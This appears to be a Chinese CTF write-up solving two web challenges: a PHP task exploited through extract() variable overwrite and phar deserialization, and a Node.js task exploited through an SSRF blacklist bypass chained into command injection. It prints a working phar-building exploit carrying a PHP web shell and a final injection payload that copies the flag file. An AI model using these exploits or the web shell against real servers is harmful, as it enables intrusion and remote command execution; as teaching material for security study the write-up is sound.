Easyphp
题目给出源码:
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Template($content);
} else {
echo "Please choice one template to reader";
}
?>
- 这里存在一个变量覆盖
extract($_GET['var'], EXTR_OVERWRITE);
,只需覆盖$template
即可,读取任意文件,直接读取template.php,得到源码:
http://8.129.41.25:10305/?var[template][a]=template.php&tp=a
- template.php
<?php
class Template{
public $content;
public $pattern;
public $suffix;
public function __construct($content){
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}
public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else{
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "Your html file is in " . $filename;
}
}
?>
源码比较简单,在前面的源码通过file_getcontents
读取到内容之后传入Template
类再写入文件。由于file_getcontents
的参数完全可控,我们可以远程下载文件到靶机,并且可以使用phar反序列化可以控制suffix
属性,把写入文件的后缀改成PHP,导致rce.
Exp:
<?php
class Template{
public $content;
public $pattern;
public $suffix;
public function __construct($content){
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".php";
}
}
@unlink("test.phar");
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
$o = new Template("<?php system(\$_GET[_]);?>");
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
?>
- 下载到靶机:
- 反序列化
- 读取flag
easyjs
源码:
/routes/index.js
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
router.get('/', function(req, res, next) {
res.json({});
});
router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});
router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});
module.exports = router;
GET 的debug路由中有一个命令执行,会将结果写入
/tmp/log
,但是要进入这个命令执行的分支必须通过ip黑名单的检测。`blacklist.indexOf(req.ip)!=-1。我们在来看POST的debug路由很明显是一个SSRF。这里传递一个参数url,URL经过:url.parse解码后hostname不能再黑名单中。黑名单过滤的不全我们完全可以用十进制胡总八进制的方式绕过例如:
http://2130706433/
、http://0177.0.0.01/
绕过SSRF之后我们就是要闭合单引号来执行多条命令了,这里有一个trick在
@
符号之前输入%27
,会经过url解码变成单引号。
所以最终payload是:
url= http://2130706433:10300/debug?url=http://%2527@1;cp$IFS$9/flag$IFS$9/tmp/log;%23